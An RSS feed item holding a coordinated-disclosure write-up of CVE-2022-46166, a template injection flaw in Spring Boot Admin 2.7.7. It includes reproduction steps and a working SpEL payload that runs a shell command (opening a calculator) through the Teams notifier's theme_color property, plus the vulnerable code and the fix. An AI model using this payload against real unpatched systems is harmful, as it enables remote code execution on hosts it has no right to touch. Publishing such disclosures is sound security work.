<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Tim Conrad</title>
    <description>The latest articles on DEV Community by Tim Conrad (@tim-conrad).</description>
    <link>https://dev.to/tim-conrad</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3310730%2F48bb1732-f702-4568-bfc6-3f12a69d83ad.jpg</url>
      <title>DEV Community: Tim Conrad</title>
      <link>https://dev.to/tim-conrad</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/tim-conrad"/>
    <language>en</language>
    <item>
      <title>CVE-2022-46166 - Template Injection - Remote Code Execution</title>
      <dc:creator>Tim Conrad</dc:creator>
      <pubDate>Mon, 30 Jun 2025 22:23:19 +0000</pubDate>
      <link>https://dev.to/tim-conrad/cve-2022-46166-template-injection-remote-code-execution-h3m</link>
      <guid>https://dev.to/tim-conrad/cve-2022-46166-template-injection-remote-code-execution-h3m</guid>
      <description>&lt;h2&gt;
  
  
  Disclosure Timeline
&lt;/h2&gt;

&lt;p&gt;The communication was very professional and fast from Codecentric:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;28.11.2022 - Notification of vulnerability via E-Mail&lt;/li&gt;
&lt;li&gt;02.12.2022 - Confirmation of the vulnerability&lt;/li&gt;
&lt;li&gt;09.12.2022 - &lt;a href="https://github.com/codecentric/spring-boot-admin/security/advisories/GHSA-w3x5-427h-wfq6" rel="noopener noreferrer"&gt;Github Security Advisory&lt;/a&gt; and CVE assignment&lt;/li&gt;
&lt;li&gt;12.12.2022 - Disclosure coordination and confirmation of this blog with Codecentric&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Asset
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://github.com/codecentric/spring-boot-admin" rel="noopener noreferrer"&gt;https://github.com/codecentric/spring-boot-admin&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Tested Version: 2.7.7&lt;/li&gt;
&lt;li&gt;Last Commit: &lt;a href="https://github.com/codecentric/spring-boot-admin/commit/85ec2b7f61c60e2435ae645cb2017492ca75c940" rel="noopener noreferrer"&gt;85ec2b7&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Pre-Requisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Authenticated User&lt;/li&gt;
&lt;li&gt;Notification support enabled for Teams (potentially others)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Issue
&lt;/h2&gt;

&lt;p&gt;The &lt;em&gt;Spring Boot Admin&lt;/em&gt; application allows to evaluate code via a dynamic Spring Boot environment variable that can be controlled from within the web application. This will allow an attacker with access to the application to run arbitrary code on the host.&lt;/p&gt;

&lt;p&gt;Summary of the attack steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Build servlet application with MS Teams notify support.&lt;/li&gt;
&lt;li&gt;Create environment variable with Java gadget via app.&lt;/li&gt;
&lt;li&gt;Trigger event for notification.&lt;/li&gt;
&lt;li&gt;Code injection gets executed.&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;IMPORTANT:&lt;/strong&gt; As the following proof of concept will show only the easiest way to abuse this feature other ways can be possible, which could reduce the given pre-requisite. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A scenario that should be checked is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A &lt;code&gt;CustomNotifier&lt;/code&gt; that notifies for unauthorized login events of the &lt;code&gt;auditevents&lt;/code&gt; endpoint.&lt;/li&gt;
&lt;li&gt;A user could wish to log the username of a failed authentication.&lt;/li&gt;
&lt;li&gt;The attacker controlled username could contain a Java gadget which gets then executed.&lt;/li&gt;
&lt;li&gt;Which resulting in an unauthenticated remote code execution.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Proof of Concept
&lt;/h2&gt;

&lt;p&gt;Clone the &lt;em&gt;Spring Boot Admin&lt;/em&gt; application:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/codecentric/spring-boot-admin.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We will use the sample servlet application in the repository to create the test candidate for the research.&lt;/p&gt;

&lt;p&gt;Add the following to the file &lt;code&gt;spring-boot-admin-samples/spring-boot-admin-sample-servlet/src/main/resources/application.yml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  boot:
    admin:
      notify:
        ms-teams:
          webhook-url: "http://localhost:8081"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will enable the MS Teams notification feature.&lt;/p&gt;

&lt;p&gt;As I don't have a valid Teams subscription to add an actual web hook we will just use any localhost address and accept the errors thrown from the application.&lt;/p&gt;

&lt;p&gt;We will build the application with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./mvnw clean package
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After everything is finished we start the app with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd spring-boot-admin-samples/spring-boot-admin-sample-servlet/target
java -jar spring-boot-admin-sample-servlet.jar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will start the servlet and the UI can be accessed at &lt;code&gt;http://localhost:8080&lt;/code&gt;.&lt;br&gt;
The username and password are &lt;code&gt;user:password&lt;/code&gt; as detailed in the &lt;code&gt;application.yml&lt;/code&gt; file we changed before.&lt;/p&gt;

&lt;p&gt;Login and open the &lt;code&gt;Environment&lt;/code&gt; tab for the instance.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://localhost:8080/instances/a10163509cb8/env&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fayn92bohuswhar461gx8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fayn92bohuswhar461gx8.png" alt="Environment" width="800" height="252"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Add the following environment variable:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Property name: &lt;code&gt;spring.boot.admin.notify.ms-teams.theme_color&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Value: &lt;code&gt;#{T(java.lang.Runtime).getRuntime().exec('open -a calculator')}&lt;/code&gt;
(The java gadget will open the calculator on MacOS. For Linux or windows the payload can be easily adapted.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Update and refresh the context.&lt;/p&gt;

&lt;p&gt;Now you need to trigger a notification. &lt;/p&gt;

&lt;p&gt;The easiest is when you delete the application.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://localhost:8080/applications&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg033w1695n1ky5u1av2u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg033w1695n1ky5u1av2u.png" alt="Application" width="800" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The following gif demonstrates the exploit:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6xr0nz6e4y8ozrwmst54.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6xr0nz6e4y8ozrwmst54.gif" alt="Exploit" width="600" height="334"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The vulnerable code can be found &lt;a href="https://github.com/codecentric/spring-boot-admin/blob/master/spring-boot-admin-server/src/main/java/de/codecentric/boot/admin/server/notify/MicrosoftTeamsNotifier.java#L233-L235" rel="noopener noreferrer"&gt;here&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    public void setThemeColor(String themeColor) {
        this.themeColor = parser.parseExpression(themeColor, ParserContext.TEMPLATE_EXPRESSION);
    }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;For the remediation review the patch &lt;a href="https://github.com/codecentric/spring-boot-admin/commit/320eab19ff76e2c012623a1eb53af6f4ae26e20b" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;org.springframework.expression.spel.support.SimpleEvaluationContext&lt;/code&gt;(&lt;a href="https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html" rel="noopener noreferrer"&gt;see docs&lt;/a&gt;) class replaces the &lt;code&gt;org.springframework.expression.spel.support.StandardEvaluationContext&lt;/code&gt; class.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In many cases, the full extent of the SpEL language is not required and should be meaningfully restricted. Examples include but are not limited to data binding expressions, property-based filters, and others. To that effect, SimpleEvaluationContext is tailored to support only a subset of the SpEL language syntax, e.g. excluding references to Java types, constructors, and bean references. &lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>security</category>
      <category>vulnerabilities</category>
      <category>cve</category>
    </item>
  </channel>
</rss>
